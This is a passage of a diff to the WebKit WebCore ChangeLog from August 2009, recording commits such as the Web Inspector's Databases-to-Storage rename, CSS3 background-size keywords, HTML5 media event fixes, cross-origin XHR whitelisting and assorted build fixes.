+        (WebInspector.selectDOMStorage):
+        (WebInspector.addDatabase):
+        (WebInspector.addDOMStorage):
+
+          Renamed some files and Updated Accordingly.
+
+        * inspector/front-end/StoragePanel.js: Renamed from WebCore/inspector/front-end/DatabasesPanel.js.
+        * inspector/front-end/Images/storageIcon.png: Renamed from WebCore/inspector/front-end/Images/databasesIcon.png.
+        * inspector/front-end/WebKit.qrc: use new file names
+        * inspector/front-end/inspector.css: use new images name and class names
+        * inspector/front-end/inspector.html: use new file name
+        * WebCore.gypi: use new file names
+
+          Miscellaneous Updates.
+
+        * English.lproj/localizedStrings.js: Updated Tooltip from "Databases" to "Storage"
+
+2009-08-21  Maxime Simon  <simon.maxime@gmail.com>
+
+        Reviewed by Oliver Hunt.
+
+        [Haiku] Adding three font-specific files to WebCore:
+        FontCacheHaiku.cpp, FontHaiku.cpp, and SimpleFontDataHaiku.cpp
+        https://bugs.webkit.org/show_bug.cgi?id=28131
+
+        * platform/graphics/haiku/FontCacheHaiku.cpp: Added.
+        (WebCore::FontCache::platformInit):
+        (WebCore::FontCache::getFontDataForCharacters):
+        (WebCore::FontCache::getSimilarFontPlatformData):
+        (WebCore::FontCache::getLastResortFallbackFont):
+        (WebCore::FontCache::createFontPlatformData):
+        (WebCore::FontCache::getTraitsInFamily):
+        * platform/graphics/haiku/FontHaiku.cpp: Added.
+        (charUnicodeToUTF8HACK):
+        (WebCore::Font::canReturnFallbackFontsForComplexText):
+        (WebCore::Font::drawGlyphs):
+        (WebCore::Font::drawComplexText):
+        (WebCore::Font::floatWidthForComplexText):
+        (WebCore::Font::selectionRectForComplexText):
+        (WebCore::Font::offsetForPositionForComplexText):
+        * platform/graphics/haiku/SimpleFontDataHaiku.cpp: Added.
+        (WebCore::SimpleFontData::platformInit):
+        (WebCore::SimpleFontData::platformCharWidthInit):
+        (WebCore::SimpleFontData::platformDestroy):
+        (WebCore::SimpleFontData::smallCapsFontData):
+        (WebCore::SimpleFontData::containsCharacters):
+        (WebCore::SimpleFontData::determinePitch):
+        (WebCore::SimpleFontData::platformWidthForGlyph):
+
+2009-08-21  Philippe Beauchamp  <philippe.beauchamp@gmail.com>
+
+        Reviewed by Adam Roben.
+
+        Middle click panning icon is offset by 3 pixels
+        https://bugs.webkit.org/show_bug.cgi?id=28611
+
+        * platform/ScrollView.cpp:
+        panIconSizeLength initialized to 20 instead of 16 to match icon dimension (2 pixels offset)
+        * platform/win/CursorWin.cpp:
+        (WebCore::middlePanningCursor):
+        Hotspot initialized to (8,8) instead of (7,7) (one pixel offset)
+        
+2009-08-21  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Reviewed by Eric Seidel.
+
+        [Qt] Remove inspector resources for Symbian
+        https://bugs.webkit.org/show_bug.cgi?id=28610
+
+        Based on an idea from Simon Hausmann.
+
+        * WebCore.pro:
+
+2009-08-21  Joseph Pecoraro  <joepeck@webkit.org>
+
+        Reviewed by Eric Seidel.
+
+        Inspector: Remove Unused Variable
+        https://bugs.webkit.org/show_bug.cgi?id=28616
+
+        * inspector/front-end/Resource.js:
+        (WebInspector.Resource.prototype._checkWarning):
+
+2009-08-21  Joseph Pecoraro  <joepeck@webkit.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Inspector: Console Array Formatter Shows Extra Properties
+        https://bugs.webkit.org/show_bug.cgi?id=28615
+
+        * inspector/front-end/ConsoleView.js:
+        (WebInspector.ConsoleView.prototype._formatarray): do not ignore hasOwnProperties
+
+2009-08-21  Beth Dakin  <bdakin@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        The CSS part of https://bugs.webkit.org/show_bug.cgi?id=27574 [CSS3 
+        Backgrounds and Borders] Add support for the "contain" value for 
+        background-size
+        -and-
+        https://bugs.webkit.org/show_bug.cgi?id=27573 [CSS3 Backgrounds and 
+        Borders] Add support for the "cover" value for background-size
+
+        Return contain or cover when appropriate, and otherwise do what we 
+        used to do.
+        * css/CSSComputedStyleDeclaration.cpp:
+        (WebCore::CSSComputedStyleDeclaration::getPropertyCSSValue):
+
+        Accept contain and cover as valid values for background-size.
+        * css/CSSParser.cpp:
+        (WebCore::CSSParser::parseFillProperty):
+
+        Handle setting the size and the sizeLength if appropriate.
+        * css/CSSStyleSelector.cpp:
+        (WebCore::CSSStyleSelector::mapFillSize):
+
+        Added new keywords contain and cover.
+        * css/CSSValueKeywords.in:
+
+        Use just sizeLength instead of size to match old behavior.
+        * page/animation/AnimationBase.cpp:
+        (WebCore::FillLayersPropertyWrapper::FillLayersPropertyWrapper):
+        * rendering/RenderBoxModelObject.cpp:
+        (WebCore::RenderBoxModelObject::calculateBackgroundSize):
+        * rendering/RenderObject.cpp:
+        (WebCore::mustRepaintFillLayers):
+
+        The variable m_sizeType is an EBackgroundSize, and m_sizeLength is 
+        a LengthSize (the equivalent of what m_size used to be). I got rid 
+        of m_sizeSet and made isSizeSet() dynamic. I also defined a new 
+        struct, FillSize that can be used to set or get m_size and 
+        m_sizeLength both at once. 
+        * rendering/style/FillLayer.cpp:
+        (WebCore::FillLayer::FillLayer):
+        (WebCore::FillLayer::operator=):
+        (WebCore::FillLayer::operator==):
+        (WebCore::FillLayer::fillUnsetProperties):
+        * rendering/style/FillLayer.h:
+        (WebCore::FillSize::FillSize):
+        (WebCore::FillSize::operator==):
+        (WebCore::FillSize::operator!=):
+        (WebCore::FillLayer::sizeLength):
+        (WebCore::FillLayer::size):
+        (WebCore::FillLayer::isSizeSet):
+        (WebCore::FillLayer::setSizeType):
+        (WebCore::FillLayer::setSizeLength):
+        (WebCore::FillLayer::setSize):
+        (WebCore::FillLayer::clearSize):
+        (WebCore::FillLayer::initialFillSizeType):
+        (WebCore::FillLayer::initialFillSizeLength):
+        (WebCore::FillLayer::initialFillSize):
+
+        This is all boiler-plate stuff to adjust to the new size() vs. 
+        sizeType() vs. sizeLength() distinction.
+        * rendering/style/RenderStyle.h:
+        (WebCore::InheritedFlags::backgroundSizeType):
+        (WebCore::InheritedFlags::backgroundSizeLength):
+        (WebCore::InheritedFlags::maskSize):
+        (WebCore::InheritedFlags::setBackgroundSize):
+        (WebCore::InheritedFlags::setBackgroundSizeLength):
+        (WebCore::InheritedFlags::setMaskSize):
+
+        Definition for EBackgroundSizeType.
+        * rendering/style/RenderStyleConstants.h:
+        (WebCore::):
+
+2009-08-21  Ariya Hidayat  <ariya.hidayat@nokia.com>
+
+        Not reviewed, build fix after r47580.
+
+        [Qt] Adjust the files.
+
+        * inspector/front-end/WebKit.qrc:
+
+2009-08-20  Chris Fleizach  <cfleizach@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Enable various "grouping" ARIA roles
+        https://bugs.webkit.org/show_bug.cgi?id=28486
+
+        Test: platform/mac/accessibility/aria-grouping-roles.html
+
+        * accessibility/AccessibilityObject.h:
+        * accessibility/AccessibilityRenderObject.cpp:
+        * accessibility/mac/AccessibilityObjectWrapper.mm:
+        * page/mac/WebCoreViewFactory.h:
+        * platform/LocalizedStrings.h:
+        * platform/mac/LocalizedStringsMac.mm:
+
+2009-08-20  David Levin  <levin@chromium.org>
+
+        Unreviewed trivial comment fix.
+
+        Update a bug link in a comment due to bugzilla amnesia.
+
+        * loader/CachedResource.cpp:
+        (WebCore::CachedResource::setResourceToRevalidate):
+
+2009-08-20  Albert J. Wong  <ajwong@chromium.org>
+
+        Reviewed by David Levin.
+
+        HTML5 media elements do not fire waiting events correctly
+        https://bugs.webkit.org/show_bug.cgi?id=28335
+
+        Fire the waiting event before seeking, and fix a case where firing of
+        the seeked event is missed when the ready state is changed during
+        a seek.
+
+        Added video-waiting-seeking.html into manual tests because not
+        all platforms allow seeking into non-buffered ranges.
+
+        * html/HTMLMediaElement.cpp:
+        (WebCore::HTMLMediaElement::setReadyState): add support for
+        waiting event when seeking.
+        (WebCore::HTMLMediaElement::finishSeek): send seeked event
+        whenever seeking finishes.
+        (WebCore::HTMLMediaElement::mediaPlayerTimeChanged): dispatch to
+        new function.
+        * html/HTMLMediaElement.h:
+        * manual-tests/video-waiting-seeking.html: Added.
+
+2009-08-20  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by John Sullivan.
+
+        Fix more cases of
+        <rdar://problem/7154521> Lots of "<Error>: doClip: empty path." spew in
+        the console with certain content
+
+        If the border box is empty, simply avoid painting instead of trying to
+        clip to the empty path.
+
+        * rendering/RenderBoxModelObject.cpp:
+        (WebCore::RenderBoxModelObject::paintFillLayerExtended):
+        * rendering/RenderReplaced.cpp:
+        (WebCore::RenderReplaced::paint):
+        * rendering/RenderWidget.cpp:
+        (WebCore::RenderWidget::paint):
+
+2009-08-20  Jeremy Orlow  <jorlow@chromium.org>
+
+        Build fix.  Forgot a svn add for a patch I landed.  :-(
+
+        * storage/SQLTransactionClient.cpp: Added.
+        (WebCore::SQLTransactionClient::didCommitTransaction):
+        (WebCore::SQLTransactionClient::didExecuteStatement):
+        (WebCore::SQLTransactionClient::didExceedQuota):
+        * storage/SQLTransactionClient.h: Added.
+
+2009-08-20  Dumitru Daniliuc  <dumi@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Added a client to SQLTransaction. In addition to being a place to
+        get notifications about certain events in a transaction, it is
+        also an abstraction layer that allows us to plug in different
+        implementations for each port for how transactions interract with
+        the main DB. For example, WebCore's default implementation will
+        make direct calls to DatabaseTracker's methods. At the same time,
+        Chromium's implementation will send IPCs to the browser process
+        whenever a transaction needs something from the main DB.
+
+        All storage tests pass.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27967
+
+        * GNUmakefile.am:
+        * WebCore.gypi:
+        * WebCore.pro:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * WebCoreSources.bkl:
+        * storage/Database.cpp:
+        (WebCore::Database::transactionClient):
+        * storage/Database.h:
+        * storage/DatabaseThread.cpp:
+        (WebCore::DatabaseThread::DatabaseThread):
+        * storage/DatabaseThread.h:
+        (WebCore::DatabaseThread::transactionClient):
+        * storage/SQLTransaction.cpp:
+        (WebCore::SQLTransaction::runCurrentStatement):
+        (WebCore::SQLTransaction::deliverQuotaIncreaseCallback):
+        (WebCore::SQLTransaction::postflightAndCommit):
+        * storage/SQLTransactionClient.cpp: Added.
+        * storage/SQLTransactionClient.h: Added.
+
+2009-08-20  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by Steve Falkenburg.
+
+        Fix of <https://bugs.webkit.org/show_bug.cgi?id=24793>
+        Auto scroll speed is faster than in IE, Firefox.
+        
+        Changed pan scrolling speed to match Firefox's algorithm.
+
+        * rendering/RenderLayer.cpp:
+        (WebCore::adjustedScrollDelta):
+        (WebCore::RenderLayer::panScrollFromPoint):
+
+2009-08-20  Stephen White  <senorblanco@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Fix for assert in Chromium page cycler:  drawRect() was re-using
+        an SkPaint, but not resetting it before calling
+        PlatformGraphicsSkia::setupPaintForFilling() a second time.  This
+        CL fixes drawRect(), and re-enables the assert.
+        http://bugs.webkit.org/show_bug.cgi?id=28172
+        http://crbug.com/19797
+
+        Covered by Chromium page cycler tests.
+
+        * platform/graphics/skia/PlatformContextSkia.cpp:
+        (PlatformContextSkia::drawRect):
+        (PlatformContextSkia::setupPaintCommon):
+
+2009-08-20  Anders Carlsson  <andersca@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        <rdar://problem/7159016> Popup menus don't disappear when you click outside the window.
+        
+        Revert r47535 which introduced this.
+        
+        * platform/win/PopupMenuWin.cpp:
+        (WebCore::PopupMenu::show):
+        (WebCore::PopupWndProc):
+
+2009-08-20  David Levin  <levin@chromium.org>
+
+        Reviewed by Alexey Proskuryakov.
+
+        Crashes on sites with lots of images
+        https://bugs.webkit.org/show_bug.cgi?id=28473
+
+        The problem is that m_resourceToRevalidate::m_isBeingRevalidated is false while
+        CachedResource is still referring to it, so it may get deleted before
+        Cache::revalidationSucceeded calls CachedResource::clearResourceToRevalidate.
+
+        * loader/Cache.cpp:
+        (WebCore::Cache::revalidateResource): Added assert to verify the resource
+        being revalidated is physically in the cache.
+        (WebCore::Cache::revalidationSucceeded): Changed to do one call to switch from the revalidating
+        resource to the revalidated resource.  This allows for proper lifetime management of the
+        revalidated resource. Added assert to verify that the revalidatingResource is in the cache.
+        (WebCore::Cache::pruneDeadResources): Don't remove items from the cache that are in the
+        process of being validated (or else they can get added twice: Once through the normal mechanism
+        and then again during revalidateResource).
+
+        * loader/CachedResource.cpp:
+        (WebCore::CachedResource::CachedResource):
+        (WebCore::CachedResource::isSafeToMakePurgeable):
+        Changed m_isBeingRevalidated to m_proxyResource to allow finding out
+        who the validating resource (or proxy) is.
+
+        (WebCore::CachedResource::~CachedResource): Removed code to handle m_resourceToRevalidate
+        being non-zero because this shouldn't be possible due to checks in canDelete. Added asserts
+        as well.
+        (WebCore::CachedResource::setResourceToRevalidate): Adjusted for the change to m_proxyResource
+        and added a comment about the assert.
+        (WebCore::CachedResource::clearResourceToRevalidate):
+        Only clean up the resourceToRevalidate if it hasn't gotten a new proxy resource.
+        * loader/CachedResource.h:
+        (WebCore::CachedResource::setInCache): Don't clear m_proxyResource because the resource
+        is still being referred to by it and the code it robust to this being switched to a new proxy
+        resource without it being cleared first.
+        (WebCore::CachedResource::canDelete): Changed m_isBeingRevalidated to m_proxyResource.
+
+2009-08-20  Xiaomei Ji  <xji@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Fix "Chromium RTL autocomplete popup is not layout correctly".
+        https://bugs.webkit.org/show_bug.cgi?id=27889
+
+        The complete fix of the issue consists 2 parts: the patch in webkit
+        and the patch in Chromium's own code.
+
+        This webkit patch only affects Chromium autofill. It
+        1. introduces a new flag in WebCore::PopupContainerSettings to
+           distinguish whether the width of the drop-down should be restricted
+           or not.
+           For autofill, the width of the drop-down is restricted to
+           be the same as that of the input field (the new flag is set in
+           Chromium's own code). But width is not restricted for <select> (same as before).
+        2. introduce a new flag in WebCore::PopContainerSettings to
+           indicate what heuristics to use when displaying text in drop-down menu.
+           For autofill, use drop-down item's directionality to display drop-down items.
+           Previously, drop-down item is displayed in the its first strong
+           directional character's directionality.
+           (drop-down item's directionality is set in Chromium's own code.
+           It is set the same as the directionality of the element. 
+           For autofill, it is the same directionality as that of the input field.)
+           For <select>, still use the text's first strong directional character's
+           directionality to display the text.
+
+
+        Since the patch only affects the chromium client, not webcore part or
+        other clients. No automatic tests is possible.
+
+        * manual-tests/autofill-popup-width-and-item-direction.html: Added.
+        * platform/chromium/PopupMenuChromium.cpp:
+        (WebCore::):
+        (WebCore::PopupListBox::paintRow): If list box width is restricted and 
+        an item is longer to fit in a list box, truncate it and draw part of the text and append ellipses.
+        (WebCore::PopupListBox::layout): Restrict width of list box if applicable.
+        * platform/chromium/PopupMenuChromium.h: 
+        (WebCore::PopupItem::PopupItem): style change.
+        (WebCore::PopupContainerSettings::): Add 2 new flags in PopupContainerSetting to 
+        distinguish whether to restrict width of list box and 
+        in what directionality to display the text in drop-down.
+
+2009-08-20  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by Adele Peterson.
+
+        Fix of <https://bugs.webkit.org/show_bug.cgi?id=28504>. 
+        Pan Scrolling can scroll while showing the middlePanScroll icon.
+        
+        Fixed an off by one error between RenderLayer::panScrollFromPoint and EventHandler::updatePanScrollState. 
+        In RenderLayer::panScrollFromPoint, we were setting the icon to be an arrow if the difference between the start
+        of the pan scroll and the current mouseposition is > 15. However, in EventHandler::updatePanScrollState, we would
+        set our amount to scroll to 0 only if the difference in mouse position is < 15. I made this check a <= 15, to fix
+        the off by one error.
+
+        * rendering/RenderLayer.cpp:
+        (WebCore::RenderLayer::panScrollFromPoint):
+
+2009-08-20  David Hyatt  <hyatt@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        Pull the code in layoutBlockChildren for handling a normal flow block child into a helper method,
+        layoutBlockChild.
+
+        * rendering/RenderBlock.cpp:
+        (WebCore::RenderBlock::layoutBlockChildren):
+        (WebCore::RenderBlock::layoutBlockChild):
+        * rendering/RenderBlock.h:
+
+2009-08-20  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by Adam Roben.
+
+        Made subframeForHitTargetNode a public static method, so WebView can call it
+        during hit testing.
+
+        * page/EventHandler.cpp:
+        (WebCore::subframeForHitTestResult):
+        (WebCore::EventHandler::subframeForTargetNode):
+        * page/EventHandler.h:
+
+2009-08-20  Brent Fulgham  <bfulgham@webkit.org>
+
+        Rubberstamped by Kevin Ollivier.
+
+        Check for null bundle before attempting to use it.
+
+        * platform/network/curl/ResourceHandleManager.cpp:
+        (WebCore::certificatePath): Add null check on return of
+          CFBundleGetBundleWithIdentifier.
+
+2009-08-20  David Hyatt  <hyatt@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28497, images and inline replaced elements don't propagate overflow properly on a line.
+
+        Added fast/repaint/inline-block-overflow.html and updated another test.
+
+        * rendering/InlineFlowBox.cpp:
+        (WebCore::InlineFlowBox::placeBoxesHorizontally):
+        (WebCore::InlineFlowBox::computeVerticalOverflow):
+        Make sure to still propagate the border box of the replaced element as layout overflow when overflow clip is set on the
+        replaced element.  Make sure to use the InlineBox x/y positions instead of the RenderBox x/y, since the position of the
+        RenderBox has not been updated to the new values yet.
+        
+        * rendering/RenderLineBoxList.cpp:
+        (WebCore::RenderLineBoxList::paint):
+        Don't use the root line box's overflow.  Use the actual line box overflow values instead.  In the case of an inline
+        with a layer, our overflow didn't propagate to the root line, so we always need to use our values.
+
+        * rendering/RenderPartObject.cpp:
+        (WebCore::RenderPartObject::layout):
+        * rendering/RenderReplaced.cpp:
+        (WebCore::RenderReplaced::layout):
+        Make sure to clear shadow overflow when doing layout of replaced elements, so that we don't leave a stale overflow
+        value around if a box-shadow goes away.
+
+2009-08-20  Dmitry Titov  <dimich@chromium.org>
+
+        Another attempt to fix Chromium build.
+
+        * WebCore.gypi: now use the correct name of the image file.
+
+2009-08-20  Dan Bernstein  <mitz@apple.com>
+
+        Make the Windows build even fixeder
+
+        * platform/graphics/win/GraphicsContextCGWin.cpp:
+        (WebCore::GraphicsContextPlatformPrivate::flush):
+
+2009-08-20  Dmitry Titov  <dimich@chromium.org>
+
+        Not reviewed, Chromium build fix.
+
+        * WebCore.gypi: add new Webinspector image files (localStorage.png and sessionStorage.png)
+
+2009-08-20  Dan Bernstein  <mitz@apple.com>
+
+        Windows build fix after the last change
+
+        * platform/graphics/win/GraphicsContextCGWin.cpp:
+        (WebCore::GraphicsContext::GraphicsContext):
+        (WebCore::GraphicsContext::releaseWindowsContext):
+        (WebCore::GraphicsContext::drawWindowsBitmap):
+
+2009-08-20  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Geoffrey Garen.
+
+        Replace many manually-released CFTypeRefs with RetainPtrs
+        https://bugs.webkit.org/show_bug.cgi?id=28498
+
+        * platform/graphics/cg/ColorCG.cpp:
+        (WebCore::createCGColor):
+        * platform/graphics/cg/GradientCG.cpp:
+        (WebCore::Gradient::platformGradient):
+        * platform/graphics/cg/GraphicsContextCG.cpp:
+        (WebCore::GraphicsContext::platformContext):
+        (WebCore::GraphicsContext::applyStrokePattern):
+        (WebCore::GraphicsContext::applyFillPattern):
+        (WebCore::GraphicsContext::setPlatformShadow):
+        (WebCore::GraphicsContext::setURLForRect):
+        * platform/graphics/cg/GraphicsContextPlatformPrivateCG.h:
+        (WebCore::GraphicsContextPlatformPrivate::GraphicsContextPlatformPrivate):
+        (WebCore::GraphicsContextPlatformPrivate::~GraphicsContextPlatformPrivate):
+        * platform/graphics/cg/ImageBufferCG.cpp:
+        (WebCore::ImageBuffer::ImageBuffer):
+        * platform/graphics/cg/ImageCG.cpp:
+        (WebCore::BitmapImage::checkForSolidColor):
+        (WebCore::Image::drawPattern):
+        * platform/graphics/cg/ImageSourceCG.cpp:
+        (WebCore::ImageSource::setData):
+        (WebCore::ImageSource::isSizeAvailable):
+        (WebCore::ImageSource::frameSizeAtIndex):
+        (WebCore::ImageSource::repetitionCount):
+        (WebCore::ImageSource::createFrameAtIndex):
+        (WebCore::ImageSource::frameDurationAtIndex):
+        * platform/graphics/cg/PDFDocumentImage.cpp:
+        (WebCore::PDFDocumentImage::dataChanged):
+        * platform/graphics/cg/PathCG.cpp:
+        (WebCore::createScratchContext):
+        (WebCore::Path::contains):
+        * platform/graphics/mac/FontCustomPlatformData.cpp:
+        (WebCore::createFontCustomPlatformData):
+        * platform/graphics/mac/GraphicsContextMac.mm:
+        (WebCore::GraphicsContext::drawFocusRing):
+        * platform/graphics/mac/ImageMac.mm:
+        (WebCore::BitmapImage::getTIFFRepresentation):
+        * platform/mac/ClipboardMac.mm:
+        (WebCore::cocoaTypeFromMIMEType):
+        (WebCore::MIMETypeFromCocoaType):
+        * platform/mac/WebCoreNSStringExtras.mm:
+        (stringEncodingForResource):
+        * platform/network/mac/FormDataStreamMac.mm:
+        (WebCore::advanceCurrentStream):
+        (WebCore::setHTTPBody):
+        * platform/text/mac/TextCodecMac.cpp:
+        (WebCore::TextCodecMac::encode):
+
+2009-08-20  Shinichiro Hamaji  <hamaji@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Output actual values of counters in showTree
+        https://bugs.webkit.org/show_bug.cgi?id=28481
+
+        No new tests because this patch just improves debugging outputs.
+
+        * rendering/CounterNode.cpp:
+        (WebCore::showTreeAndMark):
+
+2009-08-20  Eric Carlson  <eric.carlson@apple.com>
+
+        Reviewed by NOBODY (build fix).
+
+        Add file missed in last check-in.
+
+        * html/HTMLAttributeNames.in:
+
+2009-08-19  Timothy Hatcher  <timothy@apple.com>
+
+        Adds new icons to the Web Inspector for Local Storage,
+        Session Storage and Cookies.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28470
+
+        Reviewed by Eric Seidel.
+
+        * inspector/front-end/DatabasesPanel.js:
+        (WebInspector.DatabasesPanel.prototype.addDOMStorage):
+        (WebInspector.DOMStorageSidebarTreeElement):
+        * inspector/front-end/Images/cookie.png:
+        * inspector/front-end/Images/domStorage.png: Removed.
+        * inspector/front-end/Images/localStorage.png: Added.
+        * inspector/front-end/Images/sessionStorage.png: Added.
+        * inspector/front-end/inspector.css:
+
+2009-08-20  Eric Carlson  <eric.carlson@apple.com>
+
+        Reviewed by Anders Carlsson.
+
+        HTML5 media elements must fire 'loadend' progress event
+        https://bugs.webkit.org/show_bug.cgi?id=28419
+
+        * dom/EventNames.h:
+            Define loadend.
+
+        * html/HTMLMediaElement.cpp:
+        (WebCore::HTMLMediaElement::parseMappedAttribute):
+            Deal with onloadend.
+        (WebCore::HTMLMediaElement::loadInternal):
+            Post 'loadend' immediately after 'abort'.
+        (WebCore::HTMLMediaElement::noneSupported):
+            Post 'loadend' immediately after 'error'.
+        (WebCore::HTMLMediaElement::mediaEngineError):
+            Ditto.
+        (WebCore::HTMLMediaElement::setNetworkState):
+            Post 'loadend' immediately after 'load'.
+        (WebCore::HTMLMediaElement::userCancelledLoad):
+            Post 'loadend' immediately after 'abort'.
+
+2009-08-20  Ryosuke Niwa  <rniwa@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        REGESSION(r45316), Crash: WebKit crashes in Google Sites when indenting a table
+        https://bugs.webkit.org/show_bug.cgi?id=28474
+
+        This patch fixes a crash when indenting at right after a table.
+        The bug was caused by Node* blockNode = enclosingBlock(endOfCurrentParagraph.deepEquivalent().node());
+        where node() is equal to blockNode. Because blockNode is the enclosing block node, this patch changes it to
+        enclosingBlock(endOfCurrentParagraph.deepEquivalent().node()->parentNode());
+
+        Test: editing/execCommand/indent-right-after-table.html
+
+        * editing/IndentOutdentCommand.cpp:
+        (WebCore::IndentOutdentCommand::indentRegion): Fixed so that blockNode != endOfCurrentParagraph.deepEquivalent().node()
+
+2009-08-20  Andrew Scherkus  <scherkus@chromium.org>
+
+        Reviewed by David Levin.
+
+        Render disabled mute button during an error or if no audio is present.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28475
+
+        Covered by existing layout tests:
+        media/video-controls-visible-audio-only.html
+        media/video-no-audio.html
+
+        * rendering/RenderThemeChromiumSkia.cpp:
+        (WebCore::RenderThemeChromiumSkia::paintMediaMuteButton):
+
+2009-08-20  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Darin Adler.
+
+        <rdar://problem/7154605> Loading page with 1px wide <select> makes the
+        toolbar go blank
+        and
+        <rdar://problem/7154521> Lots of "<Error>: doClip: empty path." spew in
+        the console with certain content
+
+        * rendering/RenderThemeMac.mm:
+        (WebCore::RenderThemeMac::paintMenuListButtonGradients): Return early
+        if the rectangle is empty. Use RenderStyle::getBorderRadiiForRect() to
+        adjust the radii in case the sides of the rectangle are smaller than sum
+        of the radii, so that the gradient background matches the border (which
+        already uses getBorderRadiiForRect()). Check if bottomGradient is empty
+        to avoid clipping to an empty path.
+        (WebCore::RenderThemeMac::paintMenuListButton): Moved a
+        GraphicContext::save() down to avoid a save/restore imbalance in the
+        early return case.
+
+        * rendering/RenderThemeSafari.cpp: Made the same changes.
+        (WebCore::RenderThemeSafari::paintMenuListButtonGradients):
+        (WebCore::RenderThemeSafari::paintMenuListButton):
+
+2009-08-20  Jan Michael Alonzo  <jmalonzo@webkit.org>
+
+        Reviewed by Gustavo Noronha.
+
+        [Gtk][REGRESSION] XHR test failures after r45558
+        https://bugs.webkit.org/show_bug.cgi?id=27143
+
+        Disable sniffing if it's explicitly requested. Updated patch
+        originally by Gustavo Noronha.
+
+        * platform/network/soup/ResourceHandleSoup.cpp:
+        (WebCore::statusWillBeHandledBySoup):
+        (WebCore::gotHeadersCallback):
+        (WebCore::contentSniffedCallback):
+        (WebCore::gotChunkCallback):
+        (WebCore::startHttp):
+
+2009-08-20  Ariya Hidayat  <ariya.hidayat@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] Swap the pixels since QImage expect ARGB while ImageData
+        stores them as RGBA.
+
+        This fixes the fast/canvas/canvas-copyPixels.html test.
+
+        * platform/graphics/qt/ImageBufferQt.cpp:
+        (WebCore::putImageData):
+
+2009-08-20  Christian Plesner Hansen  <christian.plesner.hansen@gmail.com>
+
+        Reviewed by David Levin.
+
+        [v8] Use atomic string caching for createElement
+        Extend atomic string caching to createElement.  Fix a bug in idl
+        parser that caused incorrect parsing if a function argument
+        attribute list contained a comma.
+        https://bugs.webkit.org/show_bug.cgi?id=28449
+
+        * bindings/scripts/CodeGeneratorV8.pm:
+        * bindings/scripts/IDLParser.pm:
+        * bindings/v8/V8Binding.h:
+        (WebCore::v8ValueToAtomicWebCoreStringWithNullCheck):
+        * dom/Document.idl:
+
+2009-08-20  Ariya Hidayat  <ariya.hidayat@nokia.com>
+
+        Not reviewed, build fix after r47515.
+
+        [Qt] There is no Phonon::MediaObject::hasAudio() function.
+
+        * platform/graphics/qt/MediaPlayerPrivatePhonon.cpp:
+        (WebCore::MediaPlayerPrivate::hasAudio): Assume true.
+
+2009-08-20  Darin Fisher  <darin@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28483
+        The V8 ScriptController's cleanupScriptObjectsForPlugin should take a
+        Widget* instead of void* to avoid the need for manual casting to Widget*
+        at the callsite.
+
+        * bindings/v8/ScriptController.cpp:
+        (WebCore::ScriptController::cleanupScriptObjectsForPlugin):
+        * bindings/v8/ScriptController.h:
+
+2009-08-19  David Levin  <levin@chromium.org>
+
+        Unreviewed speculative build fix for qt.
+
+        * page/OriginAccessEntry.cpp:
+
+2009-08-19  Aaron Boodman  <aa@chromium.org>
+
+        Reviewed by David Levin.
+
+        https://bugs.webkit.org/show_bug.cgi?id=24853: Provide a way for WebKit clients to
+        specify a more granular policy for cross-origin XHR access.
+
+        Tests: http/tests/xmlhttprequest/origin-whitelisting-all.html
+               http/tests/xmlhttprequest/origin-whitelisting-exact-match.html
+               http/tests/xmlhttprequest/origin-whitelisting-https.html
+               http/tests/xmlhttprequest/origin-whitelisting-ip-addresses-with-subdomains.html
+               http/tests/xmlhttprequest/origin-whitelisting-ip-addresses.html
+               http/tests/xmlhttprequest/origin-whitelisting-subdomains.html
+
+        * WebCore.base.exp: Export methods to manipulate origin access whitelists to enable
+        testing via layout tests.
+
+        * WebCore.xcodeproj/project.pbxproj: Add OriginAccessEntry.*
+        * GNUmakefile.am: Ditto.
+        * WebCore.gypi: Ditto.
+        * WebCore.pro: Ditto.
+        * WebCore.vcproj/WebCore.vcproj: Ditto.
+        * WebCoreSources.blk: Ditto.
+
+        * page/SecurityOrigin.h: Implement origin access whitelists.
+        (WebCore::originAccessMap): Static getter for access whitelists.
+        (WebCore::SecurityOrigin::canRequest): Modify request checking logic to check whitelists.
+        (WebCore::SecurityOrigin::whiteListAccessFromOrigin): Add an entry to a whitelist.
+        (WebCore::SecurityOrigin::resetOriginAccessWhiteLists): Clear all the whitelists.
+
+        * page/OriginAccessEntry.h: Added. An entry in an origin access whitelist.
+        * page/OriginAccessEntry.cpp: Ditto.
+
+2009-08-19  Kevin Ollivier  <kevino@theolliviers.com>
+
+        Non-precomp headers build fix.
+
+        * platform/image-decoders/ImageDecoder.cpp:
+
+2009-08-19  Jeremy Orlow  <jorlow@chromium.org>
+
+        Reviewed by Darin Fisher.
+
+        Disable a bad SKIA assert
+        https://bugs.webkit.org/show_bug.cgi?id=28482
+
+        In http://trac.webkit.org/changeset/47386/ an assert was "fixed" in SKIA code. 
+        When this was pulled into Chromium, it started breaking the page cycler. 
+        Disable it again until we can figure out what's going on.
+
+        * platform/graphics/skia/PlatformContextSkia.cpp:
+        (PlatformContextSkia::setupPaintCommon):
+
+2009-08-19  Ryosuke Niwa  <rniwa@webkit.org>
+
+        Reviewed by Darin Adler.
+
